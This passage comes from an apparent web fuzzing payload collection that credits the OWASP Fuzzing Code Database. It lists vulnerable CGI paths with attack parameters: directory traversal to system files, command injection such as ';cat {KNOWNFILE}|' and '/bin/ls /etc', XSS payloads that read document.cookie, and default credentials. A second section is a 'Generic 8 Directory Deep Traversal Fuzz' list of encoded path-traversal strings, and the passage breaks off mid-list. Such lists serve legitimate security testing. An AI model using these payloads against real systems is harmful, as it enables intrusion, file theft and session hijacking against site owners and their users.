photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> 